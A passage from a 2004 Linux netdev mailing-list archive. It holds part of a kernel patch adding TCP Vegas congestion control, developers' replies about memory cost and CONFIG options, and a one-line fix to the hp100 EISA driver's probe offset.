to find + * the current prop. delay + queuing delay: + */ + tp->vegas.minRTT = min(tp->vegas.minRTT, vrtt); + tp->vegas.cntRTT++; +} + /* Called to compute a smoothed rtt estimate. The data fed to this * routine either comes from timestamps, or from segments that were * known _not_ to have been retransmitted [see Karn/Partridge @@ -420,6 +452,9 @@ static void tcp_rtt_estimator(struct tcp { long m = mrtt; /* RTT */ + if (tcp_vegas_enabled(tp)) + vegas_rtt_calc(tp, mrtt); + /* The following amusing code comes from Jacobson's * article in SIGCOMM '88. Note that rtt and mdev * are scaled versions of rtt and mean deviation. @@ -1003,7 +1038,7 @@ void tcp_enter_frto(struct sock *sk) } tcp_sync_left_out(tp); - tp->ca_state = TCP_CA_Open; + tcp_set_ca_state(tp, TCP_CA_Open); tp->frto_highmark = tp->snd_nxt; } @@ -1049,7 +1084,7 @@ void tcp_enter_frto_loss(struct sock *sk tp->reordering = min_t(unsigned int, tp->reordering, sysctl_tcp_reordering); - tp->ca_state = TCP_CA_Loss; + tcp_set_ca_state(tp, TCP_CA_Loss); tp->high_seq = tp->frto_highmark; TCP_ECN_queue_cwr(tp); } @@ -1112,7 +1147,7 @@ void tcp_enter_loss(struct sock *sk, int tp->reordering = min_t(unsigned int, tp->reordering, sysctl_tcp_reordering); - tp->ca_state = TCP_CA_Loss; + tcp_set_ca_state(tp, TCP_CA_Loss); tp->high_seq = tp->snd_nxt; TCP_ECN_queue_cwr(tp); } @@ -1489,7 +1524,7 @@ static int tcp_try_undo_recovery(struct tcp_moderate_cwnd(tp); return 1; } - tp->ca_state = TCP_CA_Open; + tcp_set_ca_state(tp, TCP_CA_Open); return 0; } @@ -1549,7 +1584,7 @@ static int tcp_try_undo_loss(struct sock tp->retransmits = 0; tp->undo_marker = 0; if (!IsReno(tp)) - tp->ca_state = TCP_CA_Open; + tcp_set_ca_state(tp, TCP_CA_Open); return 1; } return 0; @@ -1583,7 +1618,7 @@ static void tcp_try_to_open(struct sock state = TCP_CA_Disorder; if (tp->ca_state != state) { - tp->ca_state = state; + tcp_set_ca_state(tp, state); tp->high_seq = tp->snd_nxt; } tcp_moderate_cwnd(tp); @@ -1658,7 +1693,7 @@ tcp_fastretrans_alert(struct sock *sk, u * is ACKed for CWR bit to reach receiver. */ if (tp->snd_una != tp->high_seq) { tcp_complete_cwr(tp); - tp->ca_state = TCP_CA_Open; + tcp_set_ca_state(tp, TCP_CA_Open); } break; @@ -1669,7 +1704,7 @@ tcp_fastretrans_alert(struct sock *sk, u * catching for all duplicate ACKs. */ IsReno(tp) || tp->snd_una != tp->high_seq) { tp->undo_marker = 0; - tp->ca_state = TCP_CA_Open; + tcp_set_ca_state(tp, TCP_CA_Open); } break; @@ -1743,7 +1778,7 @@ tcp_fastretrans_alert(struct sock *sk, u } tp->snd_cwnd_cnt = 0; - tp->ca_state = TCP_CA_Recovery; + tcp_set_ca_state(tp, TCP_CA_Recovery); } if (is_dupack || tcp_head_timedout(sk, tp)) @@ -1814,7 +1849,7 @@ tcp_ack_update_rtt(struct tcp_opt *tp, i /* This is Jacobson's slow start and congestion avoidance. * SIGCOMM '88, p. 328. */ -static __inline__ void tcp_cong_avoid(struct tcp_opt *tp) +static __inline__ void reno_cong_avoid(struct tcp_opt *tp) { if (tp->snd_cwnd <= tp->snd_ssthresh) { /* In "safe" area, increase. */ @@ -1834,6 +1869,236 @@ static __inline__ void tcp_cong_avoid(st tp->snd_cwnd_stamp = tcp_time_stamp; } +/* This is based on the congestion detection/avoidance scheme described in + * Lawrence S. Brakmo and Larry L. Peterson. + * "TCP Vegas: End to end congestion avoidance on a global internet." + * IEEE Journal on Selected Areas in Communication, 13(8):1465--1480, + * October 1995. Available from: + * ftp://ftp.cs.arizona.edu/xkernel/Papers/jsac.ps + * + * See http://www.cs.arizona.edu/xkernel/ for their implementation. + * The main aspects that distinguish this implementation from the + * Arizona Vegas implementation are: + * o We do not change the loss detection or recovery mechanisms of + * Linux in any way. Linux already recovers from losses quite well, + * using fine-grained timers, NewReno, and FACK. + * o To avoid the performance penalty imposed by increasing cwnd + * only every-other RTT during slow start, we increase during + * every RTT during slow start, just like Reno. + * o Largely to allow continuous cwnd growth during slow start, + * we use the rate at which ACKs come back as the "actual" + * rate, rather than the rate at which data is sent. + * o To speed convergence to the right rate, we set the cwnd + * to achieve the right ("actual") rate when we exit slow start. + * o To filter out the noise caused by delayed ACKs, we use the + * minimum RTT sample observed during the last RTT to calculate + * the actual rate. + * o When the sender re-starts from idle, it waits until it has + * received ACKs for an entire flight of new data before making + * a cwnd adjustment decision. The original Vegas implementation + * assumed senders never went idle. + */ +static void vegas_cong_avoid(struct tcp_opt *tp, u32 ack, u32 seq_rtt) +{ + /* The key players are v_beg_snd_una and v_beg_snd_nxt. + * + * These are so named because they represent the approximate values + * of snd_una and snd_nxt at the beginning of the current RTT. More + * precisely, they represent the amount of data sent during the RTT. + * At the end of the RTT, when we receive an ACK for v_beg_snd_nxt, + * we will calculate that (v_beg_snd_nxt - v_beg_snd_una) outstanding + * bytes of data have been ACKed during the course of the RTT, giving + * an "actual" rate of: + * + * (v_beg_snd_nxt - v_beg_snd_una) / (rtt duration) + * + * Unfortunately, v_beg_snd_una is not exactly equal to snd_una, + * because delayed ACKs can cover more than one segment, so they + * don't line up nicely with the boundaries of RTTs. + * + * Another unfortunate fact of life is that delayed ACKs delay the + * advance of the left edge of our send window, so that the number + * of bytes we send in an RTT is often less than our cwnd will allow. + * So we keep track of our cwnd separately, in v_beg_snd_cwnd. + */ + + if (after(ack, tp->vegas.beg_snd_nxt)) { + /* Do the Vegas once-per-RTT cwnd adjustment. */ + u32 old_wnd, old_snd_cwnd; + + + /* Here old_wnd is essentially the window of data that was + * sent during the previous RTT, and has all + * been acknowledged in the course of the RTT that ended + * with the ACK we just received. Likewise, old_snd_cwnd + * is the cwnd during the previous RTT. + */ + old_wnd = (tp->vegas.beg_snd_nxt - tp->vegas.beg_snd_una) / + tp->mss_cache; + old_snd_cwnd = tp->vegas.beg_snd_cwnd; + + /* Save the extent of the current window so we can use this + * at the end of the next RTT. + */ + tp->vegas.beg_snd_una = tp->vegas.beg_snd_nxt; + tp->vegas.beg_snd_nxt = tp->snd_nxt; + tp->vegas.beg_snd_cwnd = tp->snd_cwnd; + + /* Take into account the current RTT sample too, to + * decrease the impact of delayed acks. This double counts + * this sample since we count it for the next window as well, + * but that's not too awful, since we're taking the min, + * rather than averaging. + */ + vegas_rtt_calc(tp, seq_rtt); + + /* We do the Vegas calculations only if we got enough RTT + * samples that we can be reasonably sure that we got + * at least one RTT sample that wasn't from a delayed ACK. + * If we only had 2 samples total, + * then that means we're getting only 1 ACK per RTT, which + * means they're almost certainly delayed ACKs. + * If we have 3 samples, we should be OK. + */ + + if (tp->vegas.cntRTT <= 2) { + /* We don't have enough RTT samples to do the Vegas + * calculation, so we'll behave like Reno. + */ + if (tp->snd_cwnd > tp->snd_ssthresh) + tp->snd_cwnd++; + } else { + u32 rtt, target_cwnd, diff; + + /* We have enough RTT samples, so, using the Vegas + * algorithm, we determine if we should increase or + * decrease cwnd, and by how much. + */ + + /* Pluck out the RTT we are using for the Vegas + * calculations. This is the min RTT seen during the + * last RTT. Taking the min filters out the effects + * of delayed ACKs, at the cost of noticing congestion + * a bit later. + */ + rtt = tp->vegas.minRTT; + + /* Calculate the cwnd we should have, if we weren't + * going too fast. + * + * This is: + * (actual rate in segments) * baseRTT + * We keep it as a fixed point number with + * V_PARAM_SHIFT bits to the right of the binary point. + */ + target_cwnd = ((old_wnd * tp->vegas.baseRTT) + << V_PARAM_SHIFT) / rtt; + + /* Calculate the difference between the window we had, + * and the window we would like to have. This quantity + * is the "Diff" from the Arizona Vegas papers. + * + * Again, this is a fixed point number with + * V_PARAM_SHIFT bits to the right of the binary + * point. + */ + diff = (old_wnd << V_PARAM_SHIFT) - target_cwnd; + + if (tp->snd_cwnd < tp->snd_ssthresh) { + /* Slow start. */ + if (diff > sysctl_tcp_vegas_gamma) { + /* Going too fast. Time to slow down + * and switch to congestion avoidance. + */ + tp->snd_ssthresh = 2; + + /* Set cwnd to match the actual rate + * exactly: + * cwnd = (actual rate) * baseRTT + * Then we add 1 because the integer + * truncation robs us of full link + * utilization. + */ + tp->snd_cwnd = min(tp->snd_cwnd, + (target_cwnd >> + V_PARAM_SHIFT)+1); + + } + } else { + /* Congestion avoidance. */ + u32 next_snd_cwnd; + + /* Figure out where we would like cwnd + * to be. + */ + if (diff > sysctl_tcp_vegas_beta) { + /* The old window was too fast, so + * we slow down. + */ + next_snd_cwnd = old_snd_cwnd - 1; + } else if (diff < sysctl_tcp_vegas_alpha) { + /* We don't have enough extra packets + * in the network, so speed up. + */ + next_snd_cwnd = old_snd_cwnd + 1; + } else { + /* Sending just as fast as we + * should be. + */ + next_snd_cwnd = old_snd_cwnd; + } + + /* Adjust cwnd upward or downward, toward the + * desired value. + */ + if (next_snd_cwnd > tp->snd_cwnd) + tp->snd_cwnd++; + else if (next_snd_cwnd < tp->snd_cwnd) + tp->snd_cwnd--; + } + } + + /* Wipe the slate clean for the next RTT. */ + tp->vegas.cntRTT = 0; + tp->vegas.minRTT = 0x7fffffff; + } + + /* The following code is executed for every ack we receive, + * except for conditions checked in should_advance_cwnd() + * before the call to tcp_cong_avoid(). Mainly this means that + * we only execute this code if the ack actually acked some + * data. + */ + + /* If we are in slow start, increase our cwnd in response to this ACK. + * (If we are not in slow start then we are in congestion avoidance, + * and adjust our congestion window only once per RTT. See the code + * above.) + */ + if (tp->snd_cwnd <= tp->snd_ssthresh) + tp->snd_cwnd++; + + /* to keep cwnd from growing without bound */ + tp->snd_cwnd = min_t(u32, tp->snd_cwnd, tp->snd_cwnd_clamp); + + /* Make sure that we are never so timid as to reduce our cwnd below + * 2 MSS. + * + * Going below 2 MSS would risk huge delayed ACKs from our receiver. + */ + tp->snd_cwnd = max(tp->snd_cwnd, 2U); + + tp->snd_cwnd_stamp = tcp_time_stamp; +} + +static inline void tcp_cong_avoid(struct tcp_opt *tp, u32 ack, u32 seq_rtt) +{ + if (tcp_vegas_enabled(tp)) + vegas_cong_avoid(tp, ack, seq_rtt); + else + reno_cong_avoid(tp); +} + /* Restart timer after forward progress on connection. * RFC2988 recommends to restart timer to now+rto. */ @@ -1848,7 +2113,7 @@ static __inline__ void tcp_ack_packets_o } /* Remove acknowledged frames from the retransmission queue. */ -static int tcp_clean_rtx_queue(struct sock *sk) +static int tcp_clean_rtx_queue(struct sock *sk, __s32 *seq_rtt_p) { struct tcp_opt *tp = tcp_sk(sk); struct sk_buff *skb; @@ -1934,6 +2199,7 @@ static int tcp_clean_rtx_queue(struct so } } #endif + *seq_rtt_p = seq_rtt; return acked; } @@ -2294,6 +2560,7 @@ static int tcp_ack(struct sock *sk, stru u32 ack_seq = TCP_SKB_CB(skb)->seq; u32 ack = TCP_SKB_CB(skb)->ack_seq; u32 prior_in_flight; + s32 seq_rtt; int prior_packets; /* If the ack is newer than sent or older than previous acks @@ -2345,7 +2612,7 @@ static int tcp_ack(struct sock *sk, stru prior_in_flight = tcp_packets_in_flight(tp); /* See if we can take anything off of the retransmit queue. */ - flag |= tcp_clean_rtx_queue(sk); + flag |= tcp_clean_rtx_queue(sk, &seq_rtt); if (tp->frto_counter) tcp_process_frto(sk, prior_snd_una); @@ -2355,11 +2622,11 @@ static int tcp_ack(struct sock *sk, stru if ((flag & FLAG_DATA_ACKED) && prior_in_flight >= tp->snd_cwnd && tcp_may_raise_cwnd(tp, flag)) - tcp_cong_avoid(tp); + tcp_cong_avoid(tp, ack, seq_rtt); tcp_fastretrans_alert(sk, prior_snd_una, prior_packets, flag); } else { if ((flag & FLAG_DATA_ACKED) && prior_in_flight >= tp->snd_cwnd) - tcp_cong_avoid(tp); + tcp_cong_avoid(tp, ack, seq_rtt); } if ((flag & FLAG_FORWARD_PROGRESS) || !(flag&FLAG_NOT_DUP)) diff -uprN -X dontdiff linux-2.6/net/ipv4/tcp_minisocks.c tcp-vegas-2.6/net/ipv4/tcp_minisocks.c --- linux-2.6/net/ipv4/tcp_minisocks.c 2004-03-01 08:55:47.000000000 -0800 +++ tcp-vegas-2.6/net/ipv4/tcp_minisocks.c 2004-03-08 09:33:16.000000000 -0800 @@ -769,7 +769,7 @@ struct sock *tcp_create_openreq_child(st newtp->frto_counter = 0; newtp->frto_highmark = 0; - newtp->ca_state = TCP_CA_Open; + tcp_set_ca_state(newtp, TCP_CA_Open); tcp_init_xmit_timers(newsk); skb_queue_head_init(&newtp->out_of_order_queue); newtp->send_head = NULL; @@ -841,6 +841,8 @@ struct sock *tcp_create_openreq_child(st if (newtp->ecn_flags&TCP_ECN_OK) newsk->sk_no_largesend = 1; + tcp_vegas_init(newtp); + TCP_INC_STATS_BH(TcpPassiveOpens); } return newsk; diff -uprN -X dontdiff linux-2.6/net/ipv4/tcp_output.c tcp-vegas-2.6/net/ipv4/tcp_output.c --- linux-2.6/net/ipv4/tcp_output.c 2004-01-23 09:39:28.000000000 -0800 +++ tcp-vegas-2.6/net/ipv4/tcp_output.c 2004-03-08 10:20:19.000000000 -0800 @@ -105,7 +105,9 @@ static void tcp_cwnd_restart(struct tcp_ s32 delta = tcp_time_stamp - tp->lsndtime; u32 restart_cwnd = tcp_init_cwnd(tp, dst); u32 cwnd = tp->snd_cwnd; - + + if (tcp_is_vegas(tp)) + tcp_vegas_enable(tp); tp->snd_ssthresh = tcp_current_ssthresh(tp); restart_cwnd = min(restart_cwnd, cwnd); @@ -225,6 +227,19 @@ int tcp_transmit_skb(struct sock *sk, st tcp_header_size += (TCPOLEN_SACK_BASE_ALIGNED + (tp->eff_sacks * TCPOLEN_SACK_PERBLOCK)); } + + /* + * If the connection is idle and we are restarting, + * then we don't want to do any Vegas calculations + * until we get fresh RTT samples. So when we + * restart, we reset our Vegas state to a clean + * slate. After we get acks for this flight of + * packets, _then_ we can make Vegas calculations + * again. + */ + if (tcp_is_vegas(tp) && tcp_packets_in_flight(tp) == 0) + tcp_vegas_enable(tp); + th = (struct tcphdr *) skb_push(skb, tcp_header_size); skb->h.th = th; skb_set_owner_w(skb, sk); @@ -869,7 +884,7 @@ void tcp_simple_retransmit(struct sock * tp->snd_ssthresh = tcp_current_ssthresh(tp); tp->prior_ssthresh = 0; tp->undo_marker = 0; - tp->ca_state = TCP_CA_Loss; + tcp_set_ca_state(tp, TCP_CA_Loss); } tcp_xmit_retransmit_queue(sk); } @@ -1268,6 +1283,7 @@ static inline void tcp_connect_init(stru tp->window_clamp = dst_metric(dst, RTAX_WINDOW); tp->advmss = dst_metric(dst, RTAX_ADVMSS); tcp_initialize_rcv_mss(sk); + tcp_vegas_init(tp); tcp_select_initial_window(tcp_full_space(sk), tp->advmss - (tp->ts_recent_stamp ? tp->tcp_header_len - sizeof(struct tcphdr) : 0), @@ -1318,6 +1334,7 @@ int tcp_connect(struct sock *sk) TCP_SKB_CB(buff)->end_seq = tp->write_seq; tp->snd_nxt = tp->write_seq; tp->pushed_seq = tp->write_seq; + tcp_vegas_init(tp); /* Send it off. */ TCP_SKB_CB(buff)->when = tcp_time_stamp; From shemminger@osdl.org Mon Mar 8 13:30:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 13:30:21 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28LUIKO005864 for ; Mon, 8 Mar 2004 13:30:18 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i28LU9E24849; Mon, 8 Mar 2004 13:30:09 -0800 Date: Mon, 8 Mar 2004 13:30:09 -0800 From: Stephen Hemminger To: Andi Kleen Cc: linux-net , netdev@oss.sgi.com Subject: Re: [RFC] TCP Vegas for 2.6 Message-Id: <20040308133009.1e068199@dell_ss3.pdx.osdl.net> In-Reply-To: <20040308212156.GE26401@wotan.suse.de> References: <20040308130454.0442c04d@dell_ss3.pdx.osdl.net> <20040308212156.GE26401@wotan.suse.de> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3862 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1510 Lines: 36 On Mon, 8 Mar 2004 22:21:56 +0100 Andi Kleen wrote: > > +/* Vegas variables */ > > + struct { > > + __u32 beg_snd_nxt; /* right edge during last RTT */ > > + __u32 beg_snd_una; /* left edge during last RTT */ > > + __u32 beg_snd_cwnd; /* saves the size of the cwnd */ > > + __u8 do_vegas; /* do vegas for this connection */ > > + __u8 doing_vegas_now;/* if true, do vegas for this RTT */ > > + __u16 cntRTT; /* # of RTTs measured within last RTT */ > > + __u32 minRTT; /* min of RTTs measured within last RTT (in usec) */ > > + __u32 baseRTT; /* the min of all Vegas RTT measurements seen (in usec) */ > > + } vegas; > > How about making this and the experimental westwood stuff CONFIG_* > options? At least for the data structures? Or maybe alternatively allocating > it separately when needed only (this would avoid CONFIG_* options) CONFIG options are of no use vendors who need to ship binary kernels. But it might make sense to drop this for CONFIG_EMBEDDED, but I can't see embedded kernels having lots of connections anyway. > I remember when we made jokes about the size of TCBs of other stacks > compared to Linux, but we must have exceeded them all by far. The additional > code is not really a problem, but adding all that bloat to dynamic data > structures adds up quickly when you have a few thousands of them, limiting > scalability. > > -Andi -- Stephen Hemminger mailto:shemminger@osdl.org Open Source Development Lab http://developer.osdl.org/shemminger From ak@suse.de Mon Mar 8 13:36:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 13:36:57 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28LaqKO006291 for ; Mon, 8 Mar 2004 13:36:52 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id C050E2BA9FB; Mon, 8 Mar 2004 22:36:46 +0100 (CET) Date: Mon, 8 Mar 2004 22:36:46 +0100 From: Andi Kleen To: Stephen Hemminger Cc: Andi Kleen , linux-net , netdev@oss.sgi.com Subject: Re: [RFC] TCP Vegas for 2.6 Message-ID: <20040308213646.GH26401@wotan.suse.de> References: <20040308130454.0442c04d@dell_ss3.pdx.osdl.net> <20040308212156.GE26401@wotan.suse.de> <20040308133009.1e068199@dell_ss3.pdx.osdl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040308133009.1e068199@dell_ss3.pdx.osdl.net> X-archive-position: 3863 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 353 Lines: 9 > CONFIG options are of no use vendors who need to ship binary kernels. I can well see a vendor trading scalability for experimental non standard TCP algorithms that tend to be disabled anyways. Or allocating separately if you prefer that. In theory it may be even possible to change the slab cache size at runtime, but that could get tricky. -Andi From shemminger@osdl.org Mon Mar 8 13:45:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 13:45:56 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28LjpKO006688 for ; Mon, 8 Mar 2004 13:45:52 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i28LjgE32070; Mon, 8 Mar 2004 13:45:42 -0800 Date: Mon, 8 Mar 2004 13:45:42 -0800 From: Stephen Hemminger To: Andi Kleen Cc: Andi Kleen , linux-net , netdev@oss.sgi.com Subject: Re: [RFC] TCP Vegas for 2.6 Message-Id: <20040308134542.62320cae@dell_ss3.pdx.osdl.net> In-Reply-To: <20040308213646.GH26401@wotan.suse.de> References: <20040308130454.0442c04d@dell_ss3.pdx.osdl.net> <20040308212156.GE26401@wotan.suse.de> <20040308133009.1e068199@dell_ss3.pdx.osdl.net> <20040308213646.GH26401@wotan.suse.de> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3864 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 935 Lines: 23 On Mon, 8 Mar 2004 22:36:46 +0100 Andi Kleen wrote: > > CONFIG options are of no use vendors who need to ship binary kernels. > > I can well see a vendor trading scalability for experimental non standard TCP > algorithms that tend to be disabled anyways. If Vegas proves to be as reliable in Linux as BSD, it probably will be the default. > Or allocating separately if you prefer that. In theory it may be even > possible to change the slab cache size at runtime, but that could get tricky. There is redundancy in the control block now, perhaps that could be squished, fields that are only used during connection setup or if other things are true. Also there seems to be several one byte wide booleans that could be collapsed to bits. Dave seemed to be against doing everything with CONFIG options. The original Westwood patch was that way, and he wanted it changed. Personally, don't care, which way it ends up. From niv@us.ibm.com Mon Mar 8 13:54:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 13:54:10 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28Ls4KO007142 for ; Mon, 8 Mar 2004 13:54:04 -0800 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.195.10]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i28Lrwrj461810; Mon, 8 Mar 2004 16:53:58 -0500 Received: from us.ibm.com (d03av03.boulder.ibm.com [9.17.193.83]) by westrelay01.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i28Lrvdk153850; Mon, 8 Mar 2004 14:53:57 -0700 Message-ID: <404CEAD5.9080304@us.ibm.com> Date: Mon, 08 Mar 2004 13:51:17 -0800 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Andi Kleen CC: Stephen Hemminger , linux-net , netdev@oss.sgi.com Subject: Re: [RFC] TCP Vegas for 2.6 References: <20040308130454.0442c04d@dell_ss3.pdx.osdl.net> <20040308212156.GE26401@wotan.suse.de> <20040308133009.1e068199@dell_ss3.pdx.osdl.net> <20040308213646.GH26401@wotan.suse.de> In-Reply-To: <20040308213646.GH26401@wotan.suse.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3865 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 699 Lines: 22 Andi Kleen wrote: >>CONFIG options are of no use vendors who need to ship binary kernels. But they are real handy to developers and benchmarking folks who are trying to evaluate their impact and need to compare with/without :) > I can well see a vendor trading scalability for experimental non standard TCP > algorithms that tend to be disabled anyways. > > Or allocating separately if you prefer that. In theory it may be even > possible to change the slab cache size at runtime, but that could get tricky. It would be nice to minimize this if possible, but keep in mind that dynamic allocation of memory (and freeing it) is among the costliest performance hits we take.. thanks, Nivedita From maz@misterjones.org Mon Mar 8 13:55:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 13:55:58 -0800 (PST) Received: from young-lust.wild-wind.fr.eu.org (lopsy-lu.misterjones.org [62.4.18.26]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28LtoKO007502 for ; Mon, 8 Mar 2004 13:55:52 -0800 Received: from hina.wild-wind.fr.eu.org ([192.168.70.139]) by young-lust.wild-wind.fr.eu.org with esmtp (Exim 3.35 #1 (Debian)) id 1B0Sij-0004j7-00; Mon, 08 Mar 2004 22:55:33 +0100 Received: from maz by hina.wild-wind.fr.eu.org with local (Exim 3.36 #1 (Debian)) id 1B0Sii-0000uv-00; Mon, 08 Mar 2004 22:55:32 +0100 To: pawel.sokolowski@muflon.linux.pl Cc: netdev@oss.sgi.com, Stephen Hemminger , jgarzik@pobox.com Subject: Re: 2.6.4-rc1 + hp100 EISA, not working Organization: Metropolis -- Nowhere X-Attribution: maz Reply-to: mzyngier@freesurf.fr References: From: Marc Zyngier Date: Mon, 08 Mar 2004 22:55:32 +0100 Message-ID: In-Reply-To: (Pawel Sokolowski's message of "Tue, 2 Mar 2004 00:04:11 +0100 (CET)") MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 3866 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mzyngier@freesurf.fr Precedence: bulk X-list: netdev Content-Length: 2058 Lines: 58 >>>>> "Pawel" == Pawel Sokolowski writes: Pawel> This machine has RAM BIOS booted from floppy. I ran it and EISA Pawel> configure utility to check this once more. Card is enabled and not Pawel> locked. I added eisa_bus.enable_dev=2 parameter but it didn't help much. Pawel> I'm getting: Pawel> EISA: Probing bus 0 at eisa0 Pawel> EISA: Mainboard HWPC061 detected. Pawel> EISA: slot 2 : HWP1940 detected (forced enabled). Pawel> EISA: Detected 1 card. Pawel> I added this final entry you mailed but nothing changed. Still - module Pawel> loads and unloads cleanly and without any warnings on 2.6.4-rc1. But Pawel> does nothing - not a single line in logs/dmesg after it's loaded. Card Pawel> does not work after modprobe, I can't get interface up. Ok, found it. It really looks like the new EISA probing code in hp100 never got tested, since a precious offset has disappeared during the rewriting process. Please note that you still need to enable the device by hand, since your BIOS (or maybe the EISA CFG file, since I'm seeing the exact same problem on a Compaq machine here) doesn't properly enable the card. Here is what I'm getting on my test system : EISA: Probing bus 0 at 0000:00:0f.0 EISA: Mainboard CPQ0541 detected. EISA: slot 1 : DEC4250 detected. EISA: slot 2 : UNB0048 detected. EISA: slot 3 : HWP1940 detected (forced enabled). hp100: Using (slow) programmed i/o mode. hp100: at 0x3c38, IRQ 3, EISA bus, 128k SRAM (rx/tx 75%). hp100: Adapter is attached to 10Mb/s network (10baseT). EISA: slot 4 : NVL0701 detected. Jeff, please apply. M. ===== drivers/net/hp100.c 1.26 vs edited ===== --- 1.26/drivers/net/hp100.c Mon Mar 1 12:18:00 2004 +++ edited/drivers/net/hp100.c Mon Mar 8 22:42:53 2004 @@ -2862,7 +2862,7 @@ SET_MODULE_OWNER(dev); SET_NETDEV_DEV(dev, &edev->dev); - err = hp100_probe1(dev, edev->base_addr, HP100_BUS_EISA, NULL); + err = hp100_probe1(dev, edev->base_addr + 0xC38, HP100_BUS_EISA, NULL); if (err) goto out1; -- Places change, faces change. Life is so very strange. From ak@suse.de Mon Mar 8 14:01:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 14:01:54 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28M1bKO007943 for ; Mon, 8 Mar 2004 14:01:37 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id B5D672BA7D3; Mon, 8 Mar 2004 22:21:56 +0100 (CET) Date: Mon, 8 Mar 2004 22:21:56 +0100 From: Andi Kleen To: Stephen Hemminger Cc: linux-net , netdev@oss.sgi.com Subject: Re: [RFC] TCP Vegas for 2.6 Message-ID: <20040308212156.GE26401@wotan.suse.de> References: <20040308130454.0442c04d@dell_ss3.pdx.osdl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040308130454.0442c04d@dell_ss3.pdx.osdl.net> X-archive-position: 3867 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 1084 Lines: 23 > +/* Vegas variables */ > + struct { > + __u32 beg_snd_nxt; /* right edge during last RTT */ > + __u32 beg_snd_una; /* left edge during last RTT */ > + __u32 beg_snd_cwnd; /* saves the size of the cwnd */ > + __u8 do_vegas; /* do vegas for this connection */ > + __u8 doing_vegas_now;/* if true, do vegas for this RTT */ > + __u16 cntRTT; /* # of RTTs measured within last RTT */ > + __u32 minRTT; /* min of RTTs measured within last RTT (in usec) */ > + __u32 baseRTT; /* the min of all Vegas RTT measurements seen (in usec) */ > + } vegas; How about making this and the experimental westwood stuff CONFIG_* options? At least for the data structures? Or maybe alternatively allocating it separately when needed only (this would avoid CONFIG_* 